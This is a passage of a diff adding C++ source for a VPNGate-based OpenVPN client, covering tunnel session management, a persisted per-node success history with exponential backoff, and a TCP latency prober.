// Fail the whole attempt rather than retrying forever: with a list of
|
||||
// ninety-odd nodes, moving on beats waiting.
|
||||
cc.connTimeout = cfg_.connect_timeout_s;
|
||||
|
||||
// Keeps the tun fd -- and so the netstack and every session behind it --
|
||||
// alive across ping-restart reconnects inside one session.
|
||||
cc.tunPersist = true;
|
||||
|
||||
cc.googleDnsFallback = true;
|
||||
cc.autologinSessions = true;
|
||||
cc.retryOnAuthFailed = false;
|
||||
cc.dco = false; // kernel data-channel offload needs root and a module
|
||||
cc.allowLocalLanAccess = true;
|
||||
cc.synchronousDnsLookup = false;
|
||||
cc.clockTickMS = 0;
|
||||
cc.info = true;
|
||||
cc.echo = false;
|
||||
cc.sslDebugLevel = 0;
|
||||
|
||||
// "asym" means the server may compress what it sends us but we never
|
||||
// compress what we send. Compressing attacker-influenced plaintext next to
|
||||
// secrets is what made VORACLE work; this keeps the interop win without it.
|
||||
cc.compressionMode = cfg_.compression ? "asym" : "no";
|
||||
|
||||
// VPNGate is a wall of AES-128-CBC + SHA1 with occasional 1024-bit RSA. The
|
||||
// modern defaults reject all of it, so without these the node list is
|
||||
// effectively empty. See docs/FEASIBILITY.md 2.4: the tunnel is treated as
|
||||
// an untrusted transport regardless of cipher, because the operator on the
|
||||
// far end is an anonymous volunteer who can see the plaintext either way.
|
||||
cc.enableNonPreferredDCAlgorithms = true;
|
||||
cc.enableLegacyAlgorithms = cfg_.allow_legacy_algorithms;
|
||||
if (cfg_.allow_legacy_algorithms) {
|
||||
cc.tlsCertProfileOverride = "legacy";
|
||||
cc.tlsVersionMinOverride = "tls_1_0";
|
||||
}
|
||||
|
||||
impl_ = std::make_unique<Impl>(weak_from_this(), &pipe_, cfg_, node_id_);
|
||||
|
||||
std::weak_ptr<TunnelClient> weak = weak_from_this();
|
||||
Impl *impl = impl_.get();
|
||||
try {
|
||||
worker_ = std::thread([weak, impl, cc = std::move(cc)]() mutable {
|
||||
impl->run(std::move(cc));
|
||||
// Last thing the thread does: tell the owner it is safe to join.
|
||||
if (auto self = weak.lock()) self->post_worker_finished();
|
||||
});
|
||||
} catch (const std::system_error &e) {
|
||||
impl_.reset();
|
||||
if (err) *err = std::string("cannot start openvpn worker thread: ") + e.what();
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
#else // !OVG_WITH_TUNNEL
|
||||
|
||||
// Placeholder so the class layout, the link graph and every caller stay
|
||||
// identical between the two builds. Only start() behaves differently.
|
||||
class TunnelClient::Impl {
|
||||
public:
|
||||
void request_stop() {}
|
||||
TunnelCounters counters() const { return {}; }
|
||||
bool ever_up() const { return false; }
|
||||
};
|
||||
|
||||
bool TunnelClient::supported() { return false; }
|
||||
|
||||
bool TunnelClient::launch(std::string *err) {
|
||||
if (err)
|
||||
*err = "this build has no openvpn3 linked in (-DOVG_WITH_TUNNEL=OFF); "
|
||||
"only egress_mode=direct works";
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif // OVG_WITH_TUNNEL
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// TunnelClient: the io_context-facing half, identical in both builds.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
std::shared_ptr<TunnelClient> TunnelClient::create(asio::io_context &io,
|
||||
OvpnConfig cfg) {
|
||||
return std::shared_ptr<TunnelClient>(new TunnelClient(io, std::move(cfg)));
|
||||
}
|
||||
|
||||
TunnelClient::TunnelClient(asio::io_context &io, OvpnConfig cfg)
|
||||
: io_(io), cfg_(std::move(cfg)), pipe_(io), up_timer_(io) {}
|
||||
|
||||
TunnelClient::~TunnelClient() {
|
||||
if (impl_) impl_->request_stop();
|
||||
if (worker_.joinable()) {
|
||||
if (worker_.get_id() == std::this_thread::get_id()) {
|
||||
// Only reachable if someone let the last reference die inside an
|
||||
// openvpn3 callback. Joining would deadlock, so leak deliberately and
|
||||
// say so: a leaked thread is recoverable, a self-join is not.
|
||||
LOG_ERROR(kMod, "{}: destroyed from its own worker thread; leaking it",
|
||||
node_id_);
|
||||
worker_.detach();
|
||||
(void)impl_.release();
|
||||
return;
|
||||
}
|
||||
worker_.join();
|
||||
}
|
||||
}
|
||||
|
||||
bool TunnelClient::start(const vpngate::Node &node,
|
||||
const vpngate::Remote &remote, StateHandler on_state,
|
||||
std::string *err) {
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
if (state_ != TunnelState::Idle) {
|
||||
if (err) *err = "tunnel client already started";
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
node_id_ = node.id();
|
||||
remote_ = remote;
|
||||
|
||||
SanitizeOptions so;
|
||||
so.pin_remote = &remote;
|
||||
so.allow_compression = cfg_.compression;
|
||||
SanitizedProfile sp;
|
||||
if (!sanitize_profile(node.profile, so, &sp, err)) {
|
||||
if (err) *err = node_id_ + ": " + *err;
|
||||
return false;
|
||||
}
|
||||
profile_ = std::move(sp.text);
|
||||
if (!sp.dropped.empty()) {
|
||||
LOG_DEBUG(kMod, "{}: dropped {} directive(s) from the profile: {}",
|
||||
node_id_, sp.dropped.size(), fmt::join(sp.dropped, ", "));
|
||||
}
|
||||
if (!sp.has_client_cert) {
|
||||
LOG_DEBUG(kMod, "{}: profile has no client certificate; expecting "
|
||||
"username/password auth", node_id_);
|
||||
}
|
||||
|
||||
if (!pipe_.open(cfg_.packet_socket_buffer, err)) {
|
||||
if (err) *err = node_id_ + ": " + *err;
|
||||
return false;
|
||||
}
|
||||
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
on_state_ = std::move(on_state);
|
||||
state_ = TunnelState::Connecting;
|
||||
}
|
||||
|
||||
if (!launch(err)) {
|
||||
pipe_.close();
|
||||
std::lock_guard lk(mu_);
|
||||
state_ = TunnelState::Idle;
|
||||
on_state_ = nullptr;
|
||||
return false;
|
||||
}
|
||||
|
||||
starts()->inc();
|
||||
LOG_INFO(kMod, "{}: connecting to {}:{}/{}", node_id_, remote.host,
|
||||
remote.port, vpngate::proto_name(remote.proto));
|
||||
arm_up_timer();
|
||||
return true;
|
||||
}
|
||||
|
||||
void TunnelClient::stop(std::function<void()> on_stopped) {
|
||||
bool already_done = false;
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
already_done = worker_finished_;
|
||||
if (!already_done && on_stopped) on_stopped_ = std::move(on_stopped);
|
||||
}
|
||||
cancel_up_timer();
|
||||
|
||||
if (already_done) {
|
||||
if (on_stopped) asio::post(io_, std::move(on_stopped));
|
||||
return;
|
||||
}
|
||||
if (impl_) impl_->request_stop();
|
||||
}
|
||||
|
||||
TunnelState TunnelClient::state() const {
|
||||
std::lock_guard lk(mu_);
|
||||
return state_;
|
||||
}
|
||||
|
||||
TunnelInfo TunnelClient::info() const {
|
||||
std::lock_guard lk(mu_);
|
||||
return info_;
|
||||
}
|
||||
|
||||
TunnelCounters TunnelClient::counters() const {
|
||||
if (!impl_) return {};
|
||||
return impl_->counters();
|
||||
}
|
||||
|
||||
void TunnelClient::post_state(TunnelState s, TunnelInfo info,
|
||||
std::string detail) {
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
if (terminal_seen_) return; // Down is final; later noise is dropped
|
||||
if (s == TunnelState::Down) terminal_seen_ = true;
|
||||
if (state_ == TunnelState::Up && s != TunnelState::Up) active()->sub(1);
|
||||
if (state_ != TunnelState::Up && s == TunnelState::Up) active()->add(1);
|
||||
state_ = s;
|
||||
if (s == TunnelState::Up) info_ = info;
|
||||
}
|
||||
|
||||
auto self = shared_from_this();
|
||||
asio::post(io_, [self, s, info = std::move(info),
|
||||
detail = std::move(detail)]() mutable {
|
||||
if (s == TunnelState::Up || s == TunnelState::Down) self->cancel_up_timer();
|
||||
|
||||
switch (s) {
|
||||
case TunnelState::Up:
|
||||
ups()->inc();
|
||||
LOG_INFO(kMod, "{}: up -- {}/{} via {}, mtu {}, dns [{}]",
|
||||
self->node_id_, info.ipv4, info.prefix4, info.server_ip,
|
||||
info.mtu, fmt::join(info.dns, ", "));
|
||||
break;
|
||||
case TunnelState::Reconnecting:
|
||||
LOG_WARN(kMod, "{}: reconnecting{}{}", self->node_id_,
|
||||
detail.empty() ? "" : " -- ", detail);
|
||||
break;
|
||||
case TunnelState::Down: {
|
||||
const bool never_up = !(self->impl_ && self->impl_->ever_up());
|
||||
if (never_up) failures()->inc();
|
||||
LOG_INFO(kMod, "{}: down -- {}", self->node_id_, detail);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
StateHandler h;
|
||||
{
|
||||
std::lock_guard lk(self->mu_);
|
||||
h = self->on_state_;
|
||||
}
|
||||
if (h) h(s, info, detail);
|
||||
});
|
||||
}
|
||||
|
||||
void TunnelClient::post_worker_finished() {
|
||||
std::function<void()> cb;
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
worker_finished_ = true;
|
||||
cb.swap(on_stopped_);
|
||||
}
|
||||
auto self = shared_from_this();
|
||||
asio::post(io_, [self, cb = std::move(cb)] {
|
||||
if (cb) cb();
|
||||
});
|
||||
}
|
||||
|
||||
void TunnelClient::arm_up_timer() {
|
||||
if (cfg_.tunnel_up_timeout_s <= 0) return;
|
||||
up_timer_.expires_after(std::chrono::seconds(cfg_.tunnel_up_timeout_s));
|
||||
auto self = shared_from_this();
|
||||
up_timer_.async_wait([self](const std::error_code &ec) {
|
||||
if (ec) return; // cancelled: we came up, or we are already down
|
||||
// openvpn3's own connTimeout covers the transport handshake, but a server
|
||||
// can complete that and then never push a tunnel config. This is the
|
||||
// backstop for that case.
|
||||
self->post_state(
|
||||
TunnelState::Down, TunnelInfo{},
|
||||
fmt::format("no tunnel after {}s", self->cfg_.tunnel_up_timeout_s));
|
||||
self->stop();
|
||||
});
|
||||
}
|
||||
|
||||
void TunnelClient::cancel_up_timer() { up_timer_.cancel(); }
|
||||
|
||||
} // namespace ovg::ovpn
|
||||
@@ -0,0 +1,159 @@
|
||||
// One OpenVPN session, wrapped so the rest of the program never sees openvpn3.
|
||||
//
|
||||
// Threading. ClientAPI::OpenVPNClient::connect() blocks until the session ends
|
||||
// and makes all of its callbacks -- events, logs, every tun_builder_* call --
|
||||
// from the thread that called it. So each TunnelClient owns exactly one worker
|
||||
// thread, and every observable effect is marshalled back onto the io_context
|
||||
// the object was constructed with. Callers only ever see io_context threads.
|
||||
//
|
||||
// Lifetime. Always hold a TunnelClient through the shared_ptr that create()
|
||||
// returns, and prefer stop(on_stopped) to simply dropping the last reference:
|
||||
// the destructor has to join the worker, and joining from inside an io_context
|
||||
// handler stalls that thread for as long as openvpn3 takes to unwind.
|
||||
//
|
||||
// The tun. The session's tun descriptor is one end of a socketpair (see
|
||||
// packet_pipe.h). It is created before the worker starts, so pipe() is valid
|
||||
// from the moment start() returns true -- the netstack can attach its read
|
||||
// loop immediately and does not have to race the CONNECTED event.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "ovpn/packet_pipe.h"
|
||||
#include "vpngate/node.h"
|
||||
|
||||
namespace ovg::ovpn {
|
||||
|
||||
enum class TunnelState {
|
||||
Idle, // constructed, start() not called (or it failed)
|
||||
Connecting, // worker running, no tunnel yet
|
||||
Up, // server pushed a config; packets can flow
|
||||
Reconnecting, // transient loss; the tun fd survives (tunPersist)
|
||||
Down, // finished for good -- `detail` says why
|
||||
};
|
||||
const char *tunnel_state_name(TunnelState s);
|
||||
|
||||
// What the server pushed. Everything the netstack needs to bring up a netif,
|
||||
// and nothing it does not.
|
||||
struct TunnelInfo {
|
||||
std::string ipv4;
|
||||
int prefix4 = 0;
|
||||
std::string gateway4;
|
||||
std::string ipv6;
|
||||
int prefix6 = 0;
|
||||
int mtu = 1500;
|
||||
std::vector<std::string> dns; // in server priority order
|
||||
std::vector<std::string> routes; // "10.0.0.0/8", capped; diagnostics only
|
||||
std::string server_ip; // the VPN server we are talking to
|
||||
std::string session_name;
|
||||
bool redirect_gateway = false;
|
||||
|
||||
bool usable() const { return !ipv4.empty() && prefix4 > 0; }
|
||||
};
|
||||
|
||||
struct TunnelCounters {
|
||||
int64_t transport_bytes_in = 0;
|
||||
int64_t transport_bytes_out = 0;
|
||||
int64_t tun_bytes_in = 0;
|
||||
int64_t tun_bytes_out = 0;
|
||||
// Milliseconds since the last packet arrived from the server, or -1 if none
|
||||
// ever has. This is the single most useful liveness signal we get from the
|
||||
// core, and the health monitor's stall detector is built on it.
|
||||
int last_packet_received_ms = -1;
|
||||
bool valid = false;
|
||||
};
|
||||
|
||||
class TunnelClient : public std::enable_shared_from_this<TunnelClient> {
|
||||
public:
|
||||
// Runs on `io`. For Up, `info` is populated; otherwise it is empty and
|
||||
// `detail` carries the reason.
|
||||
using StateHandler = std::function<void(TunnelState state,
|
||||
const TunnelInfo &info,
|
||||
const std::string &detail)>;
|
||||
|
||||
static std::shared_ptr<TunnelClient> create(asio::io_context &io,
|
||||
OvpnConfig cfg);
|
||||
~TunnelClient();
|
||||
|
||||
TunnelClient(const TunnelClient &) = delete;
|
||||
TunnelClient &operator=(const TunnelClient &) = delete;
|
||||
|
||||
// Sanitizes the node's profile, opens the packet pipe, starts the worker.
|
||||
// Returns false without starting anything if the profile is unusable, which
|
||||
// is a node-level failure the selector should record, not a fatal error.
|
||||
bool start(const vpngate::Node &node, const vpngate::Remote &remote,
|
||||
StateHandler on_state, std::string *err);
|
||||
|
||||
// Idempotent and asynchronous. `on_stopped` runs on the io_context once the
|
||||
// worker has exited and the object is safe to destroy.
|
||||
void stop(std::function<void()> on_stopped = {});
|
||||
|
||||
TunnelState state() const;
|
||||
TunnelInfo info() const;
|
||||
TunnelCounters counters() const;
|
||||
|
||||
const std::string &node_id() const { return node_id_; }
|
||||
const vpngate::Remote &remote() const { return remote_; }
|
||||
|
||||
// The netstack's end of the tun. Valid from a successful start() until the
|
||||
// object is destroyed.
|
||||
PacketPipe &pipe() { return pipe_; }
|
||||
|
||||
// The profile actually handed to openvpn3, after sanitizing. Kept for the
|
||||
// admin endpoint: when a node fails to connect, this is the first thing
|
||||
// anyone will want to look at.
|
||||
const std::string &sanitized_profile() const { return profile_; }
|
||||
|
||||
// True when the build has openvpn3 linked in. When false, start() always
|
||||
// fails and the only usable egress is "direct".
|
||||
static bool supported();
|
||||
|
||||
private:
|
||||
class Impl;
|
||||
friend class Impl;
|
||||
|
||||
TunnelClient(asio::io_context &io, OvpnConfig cfg);
|
||||
|
||||
// Builds the openvpn3 client and starts the worker. Split out from start()
|
||||
// so the profile handling above it is shared with builds that have no
|
||||
// openvpn3 linked in.
|
||||
bool launch(std::string *err);
|
||||
|
||||
// Called from the worker thread.
|
||||
void post_state(TunnelState s, TunnelInfo info, std::string detail);
|
||||
void post_worker_finished();
|
||||
|
||||
void arm_up_timer();
|
||||
void cancel_up_timer();
|
||||
|
||||
asio::io_context &io_;
|
||||
OvpnConfig cfg_;
|
||||
PacketPipe pipe_;
|
||||
asio::steady_timer up_timer_;
|
||||
|
||||
std::string node_id_;
|
||||
vpngate::Remote remote_;
|
||||
std::string profile_;
|
||||
|
||||
mutable std::mutex mu_; // guards state_, info_, on_state_, on_stopped_
|
||||
TunnelState state_ = TunnelState::Idle;
|
||||
TunnelInfo info_;
|
||||
StateHandler on_state_;
|
||||
std::function<void()> on_stopped_;
|
||||
bool terminal_seen_ = false;
|
||||
bool worker_finished_ = false;
|
||||
|
||||
std::unique_ptr<Impl> impl_;
|
||||
std::thread worker_;
|
||||
};
|
||||
|
||||
} // namespace ovg::ovpn
|
||||
@@ -0,0 +1,170 @@
|
||||
#include "selector/history.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#include "common/logging.h"
|
||||
|
||||
namespace ovg::selector {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "selector";
|
||||
constexpr double kEwmaAlpha = 0.3; // favours recent measurements
|
||||
|
||||
int64_t now_ms() {
|
||||
return std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::system_clock::now().time_since_epoch())
|
||||
.count();
|
||||
}
|
||||
|
||||
double ewma(double prev, double sample) {
|
||||
if (prev <= 0.0) return sample;
|
||||
return prev * (1.0 - kEwmaAlpha) + sample * kEwmaAlpha;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
HistoryStore::HistoryStore(std::string path, SelectorConfig cfg)
|
||||
: path_(std::move(path)), cfg_(std::move(cfg)) {}
|
||||
|
||||
void HistoryStore::load() {
|
||||
if (path_.empty()) return;
|
||||
std::ifstream in(path_);
|
||||
if (!in) {
|
||||
LOG_DEBUG(kMod, "no history file at {} (first run?)", path_);
|
||||
return;
|
||||
}
|
||||
|
||||
std::lock_guard lk(mu_);
|
||||
stats_.clear();
|
||||
std::string line;
|
||||
size_t lineno = 0, bad = 0;
|
||||
while (std::getline(in, line)) {
|
||||
++lineno;
|
||||
if (line.empty() || line[0] == '#') continue;
|
||||
std::istringstream ls(line);
|
||||
std::string id;
|
||||
NodeStats s;
|
||||
if (!(ls >> id >> s.successes >> s.failures >> s.consecutive_failures >>
|
||||
s.last_failure_ms >> s.last_success_ms >> s.ewma_rtt_ms >>
|
||||
s.ewma_throughput_bps)) {
|
||||
++bad;
|
||||
continue;
|
||||
}
|
||||
stats_[id] = s;
|
||||
}
|
||||
if (bad)
|
||||
LOG_WARN(kMod, "history {}: skipped {} malformed line(s)", path_, bad);
|
||||
LOG_INFO(kMod, "loaded history for {} node(s)", stats_.size());
|
||||
}
|
||||
|
||||
void HistoryStore::save() const {
|
||||
if (path_.empty()) return;
|
||||
|
||||
std::lock_guard lk(mu_);
|
||||
if (!dirty_) return;
|
||||
|
||||
std::error_code ec;
|
||||
const auto path = std::filesystem::path(path_);
|
||||
if (path.has_parent_path())
|
||||
std::filesystem::create_directories(path.parent_path(), ec);
|
||||
|
||||
const std::string tmp = path_ + ".tmp";
|
||||
{
|
||||
std::ofstream out(tmp, std::ios::trunc);
|
||||
if (!out) {
|
||||
LOG_WARN(kMod, "cannot write history {}", tmp);
|
||||
return;
|
||||
}
|
||||
out << "# node_id successes failures consecutive_failures "
|
||||
"last_failure_ms last_success_ms ewma_rtt_ms ewma_throughput_bps\n";
|
||||
for (const auto &[id, s] : stats_) {
|
||||
out << id << ' ' << s.successes << ' ' << s.failures << ' '
|
||||
<< s.consecutive_failures << ' ' << s.last_failure_ms << ' '
|
||||
<< s.last_success_ms << ' ' << s.ewma_rtt_ms << ' '
|
||||
<< s.ewma_throughput_bps << '\n';
|
||||
}
|
||||
if (!out) {
|
||||
LOG_WARN(kMod, "short write to history {}", tmp);
|
||||
return;
|
||||
}
|
||||
}
|
||||
std::filesystem::rename(tmp, path, ec);
|
||||
if (ec) {
|
||||
LOG_WARN(kMod, "cannot rename history into place: {}", ec.message());
|
||||
return;
|
||||
}
|
||||
dirty_ = false;
|
||||
}
|
||||
|
||||
NodeStats HistoryStore::get(const std::string &node_id) const {
|
||||
std::lock_guard lk(mu_);
|
||||
auto it = stats_.find(node_id);
|
||||
return it == stats_.end() ? NodeStats{} : it->second;
|
||||
}
|
||||
|
||||
void HistoryStore::record_success(const std::string &node_id, double rtt_ms) {
|
||||
std::lock_guard lk(mu_);
|
||||
auto &s = stats_[node_id];
|
||||
s.successes++;
|
||||
s.consecutive_failures = 0;
|
||||
s.last_success_ms = now_ms();
|
||||
if (rtt_ms > 0) s.ewma_rtt_ms = ewma(s.ewma_rtt_ms, rtt_ms);
|
||||
dirty_ = true;
|
||||
}
|
||||
|
||||
void HistoryStore::record_failure(const std::string &node_id) {
|
||||
std::lock_guard lk(mu_);
|
||||
auto &s = stats_[node_id];
|
||||
s.failures++;
|
||||
s.consecutive_failures++;
|
||||
s.last_failure_ms = now_ms();
|
||||
dirty_ = true;
|
||||
}
|
||||
|
||||
void HistoryStore::record_throughput(const std::string &node_id, double bps) {
|
||||
if (bps <= 0) return;
|
||||
std::lock_guard lk(mu_);
|
||||
auto &s = stats_[node_id];
|
||||
s.ewma_throughput_bps = ewma(s.ewma_throughput_bps, bps);
|
||||
dirty_ = true;
|
||||
}
|
||||
|
||||
std::chrono::milliseconds HistoryStore::backoff_for(uint32_t consecutive) const {
|
||||
if (consecutive == 0) return std::chrono::milliseconds::zero();
|
||||
// Exponential, capped. Shift is bounded to avoid UB and absurd values.
|
||||
const uint32_t shift = std::min<uint32_t>(consecutive - 1, 16);
|
||||
const int64_t base = cfg_.failure_backoff_initial.count();
|
||||
const int64_t want = base << shift;
|
||||
return std::chrono::milliseconds(
|
||||
std::min<int64_t>(want, cfg_.failure_backoff_max.count()));
|
||||
}
|
||||
|
||||
bool HistoryStore::is_backed_off(const std::string &node_id) const {
|
||||
return backoff_remaining(node_id) > std::chrono::milliseconds::zero();
|
||||
}
|
||||
|
||||
std::chrono::milliseconds HistoryStore::backoff_remaining(
|
||||
const std::string &node_id) const {
|
||||
std::lock_guard lk(mu_);
|
||||
auto it = stats_.find(node_id);
|
||||
if (it == stats_.end()) return std::chrono::milliseconds::zero();
|
||||
const auto &s = it->second;
|
||||
if (s.consecutive_failures == 0 || s.last_failure_ms == 0)
|
||||
return std::chrono::milliseconds::zero();
|
||||
|
||||
const auto window = backoff_for(s.consecutive_failures);
|
||||
const int64_t elapsed = now_ms() - s.last_failure_ms;
|
||||
if (elapsed < 0) return std::chrono::milliseconds::zero(); // clock moved back
|
||||
const int64_t left = window.count() - elapsed;
|
||||
return std::chrono::milliseconds(std::max<int64_t>(0, left));
|
||||
}
|
||||
|
||||
size_t HistoryStore::size() const {
|
||||
std::lock_guard lk(mu_);
|
||||
return stats_.size();
|
||||
}
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,70 @@
|
||||
// Per-node outcome history, persisted across restarts.
|
||||
//
|
||||
// This is what stops us from walking into the same broken node every time the
|
||||
// API returns it with a flattering Score. A node that fails repeatedly gets
|
||||
// exponentially backed off; a node that has served us well gets credit for it.
|
||||
//
|
||||
// Storage is a plain TSV file rather than JSON: the schema is fixed, the file
|
||||
// is machine-written and machine-read, and a line-oriented format degrades
|
||||
// gracefully (one corrupt line costs one node, not the whole file).
|
||||
#pragma once
|
||||
|
||||
#include <chrono>
|
||||
#include <cstdint>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <unordered_map>
|
||||
|
||||
#include "common/config.h"
|
||||
|
||||
namespace ovg::selector {
|
||||
|
||||
struct NodeStats {
|
||||
uint32_t successes = 0;
|
||||
uint32_t failures = 0;
|
||||
uint32_t consecutive_failures = 0;
|
||||
int64_t last_failure_ms = 0; // epoch millis, 0 = never
|
||||
int64_t last_success_ms = 0;
|
||||
double ewma_rtt_ms = 0.0; // measured by us, not by VPNGate
|
||||
double ewma_throughput_bps = 0.0;
|
||||
|
||||
double success_rate() const {
|
||||
const uint32_t total = successes + failures;
|
||||
// No history: assume neutral rather than perfect, so an unknown node does
|
||||
// not outrank a proven one on this term alone.
|
||||
if (total == 0) return 0.5;
|
||||
return static_cast<double>(successes) / static_cast<double>(total);
|
||||
}
|
||||
};
|
||||
|
||||
class HistoryStore {
|
||||
public:
|
||||
explicit HistoryStore(std::string path, SelectorConfig cfg);
|
||||
|
||||
void load();
|
||||
void save() const;
|
||||
|
||||
NodeStats get(const std::string &node_id) const;
|
||||
|
||||
void record_success(const std::string &node_id, double rtt_ms);
|
||||
void record_failure(const std::string &node_id);
|
||||
void record_throughput(const std::string &node_id, double bps);
|
||||
|
||||
// True while the node is inside its exponential backoff window.
|
||||
bool is_backed_off(const std::string &node_id) const;
|
||||
// Remaining backoff, for logging.
|
||||
std::chrono::milliseconds backoff_remaining(const std::string &node_id) const;
|
||||
|
||||
size_t size() const;
|
||||
|
||||
private:
|
||||
std::chrono::milliseconds backoff_for(uint32_t consecutive) const;
|
||||
|
||||
std::string path_;
|
||||
SelectorConfig cfg_;
|
||||
mutable std::mutex mu_;
|
||||
std::unordered_map<std::string, NodeStats> stats_;
|
||||
mutable bool dirty_ = false;
|
||||
};
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,157 @@
|
||||
#include "selector/prober.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <chrono>
|
||||
#include <memory>
|
||||
|
||||
#include "common/logging.h"
|
||||
|
||||
namespace ovg::selector {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "selector";
|
||||
|
||||
// Runs the whole probe batch. Owns itself until every target is done.
|
||||
class ProbeRun : public std::enable_shared_from_this<ProbeRun> {
|
||||
public:
|
||||
ProbeRun(asio::io_context &io, SelectorConfig cfg,
|
||||
std::vector<ProbeTarget> targets, Prober::Handler handler)
|
||||
: io_(io),
|
||||
cfg_(std::move(cfg)),
|
||||
targets_(std::move(targets)),
|
||||
handler_(std::move(handler)) {
|
||||
results_.resize(targets_.size());
|
||||
for (size_t i = 0; i < targets_.size(); ++i)
|
||||
results_[i].node_id = targets_[i].node_id;
|
||||
}
|
||||
|
||||
void start() {
|
||||
if (targets_.empty()) {
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
const size_t lanes = std::max<size_t>(
|
||||
1, std::min(cfg_.probe_concurrency, targets_.size()));
|
||||
outstanding_ = lanes;
|
||||
for (size_t i = 0; i < lanes; ++i) take_next();
|
||||
}
|
||||
|
||||
private:
|
||||
// Pulls the next target index; returns false when the queue is drained.
|
||||
void take_next() {
|
||||
const size_t idx = next_.fetch_add(1);
|
||||
if (idx >= targets_.size()) {
|
||||
if (--outstanding_ == 0) finish();
|
||||
return;
|
||||
}
|
||||
sample(idx, 0, {});
|
||||
}
|
||||
|
||||
// One TCP handshake, timed. `acc` collects the successful samples.
|
||||
void sample(size_t idx, size_t sample_no, std::vector<double> acc) {
|
||||
if (sample_no >= cfg_.probe_samples) {
|
||||
record(idx, std::move(acc));
|
||||
take_next();
|
||||
return;
|
||||
}
|
||||
|
||||
const auto &t = targets_[idx];
|
||||
auto sock = std::make_shared<asio::ip::tcp::socket>(io_);
|
||||
auto timer = std::make_shared<asio::steady_timer>(io_);
|
||||
auto started = std::chrono::steady_clock::now();
|
||||
auto done = std::make_shared<bool>(false);
|
||||
|
||||
asio::ip::tcp::endpoint ep;
|
||||
std::error_code pec;
|
||||
const auto addr = asio::ip::make_address(t.host, pec);
|
||||
if (pec) {
|
||||
// Node hosts in the VPNGate feed are IP literals. A name here means the
|
||||
// profile was unusual; skip rather than pulling in a resolver.
|
||||
LOG_DEBUG(kMod, "probe {}: host '{}' is not an IP literal", t.node_id,
|
||||
t.host);
|
||||
record(idx, {});
|
||||
take_next();
|
||||
return;
|
||||
}
|
||||
ep = asio::ip::tcp::endpoint(addr, t.port);
|
||||
|
||||
timer->expires_after(cfg_.probe_timeout);
|
||||
timer->async_wait([sock, done](std::error_code ec) {
|
||||
if (ec || *done) return;
|
||||
std::error_code ignored;
|
||||
sock->close(ignored); // forces the pending connect to fail
|
||||
});
|
||||
|
||||
auto self = shared_from_this();
|
||||
sock->async_connect(
|
||||
ep, [self, idx, sample_no, acc = std::move(acc), sock, timer, started,
|
||||
done](std::error_code ec) mutable {
|
||||
*done = true;
|
||||
timer->cancel();
|
||||
std::error_code ignored;
|
||||
sock->close(ignored);
|
||||
|
||||
if (!ec) {
|
||||
const auto elapsed = std::chrono::steady_clock::now() - started;
|
||||
const double ms =
|
||||
std::chrono::duration<double, std::milli>(elapsed).count();
|
||||
acc.push_back(ms);
|
||||
self->sample(idx, sample_no + 1, std::move(acc));
|
||||
} else {
|
||||
// A refused/unreachable node is not worth further samples.
|
||||
self->record(idx, std::move(acc));
|
||||
self->take_next();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void record(size_t idx, std::vector<double> samples) {
|
||||
auto &r = results_[idx];
|
||||
r.samples_ok = static_cast<int>(samples.size());
|
||||
if (samples.empty()) {
|
||||
r.reachable = false;
|
||||
r.rtt_ms = -1.0;
|
||||
LOG_DEBUG(kMod, "probe {} -> unreachable", r.node_id);
|
||||
return;
|
||||
}
|
||||
// Median resists the one-off outlier that a mean would absorb.
|
||||
std::sort(samples.begin(), samples.end());
|
||||
r.reachable = true;
|
||||
r.rtt_ms = samples[samples.size() / 2];
|
||||
LOG_DEBUG(kMod, "probe {} -> {:.1f}ms ({} samples)", r.node_id, r.rtt_ms,
|
||||
r.samples_ok);
|
||||
}
|
||||
|
||||
void finish() {
|
||||
if (finished_.exchange(true)) return;
|
||||
int reachable = 0;
|
||||
for (const auto &r : results_)
|
||||
if (r.reachable) ++reachable;
|
||||
LOG_INFO(kMod, "probed {} candidate(s), {} reachable", results_.size(),
|
||||
reachable);
|
||||
auto h = std::move(handler_);
|
||||
if (h) h(std::move(results_));
|
||||
}
|
||||
|
||||
asio::io_context &io_;
|
||||
SelectorConfig cfg_;
|
||||
std::vector<ProbeTarget> targets_;
|
||||
std::vector<ProbeResult> results_;
|
||||
Prober::Handler handler_;
|
||||
|
||||
std::atomic<size_t> next_{0};
|
||||
std::atomic<size_t> outstanding_{0};
|
||||
std::atomic<bool> finished_{false};
|
||||
};
|
||||
|
||||
} // namespace
|
||||
|
||||
Prober::Prober(asio::io_context &io, SelectorConfig cfg)
|
||||
: io_(io), cfg_(std::move(cfg)) {}
|
||||
|
||||
void Prober::probe(std::vector<ProbeTarget> targets, Handler handler) {
|
||||
std::make_shared<ProbeRun>(io_, cfg_, std::move(targets), std::move(handler))
|
||||
->start();
|
||||
}
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,56 @@
|
||||
// Measures round-trip latency to candidate nodes from *this* host.
|
||||
//
|
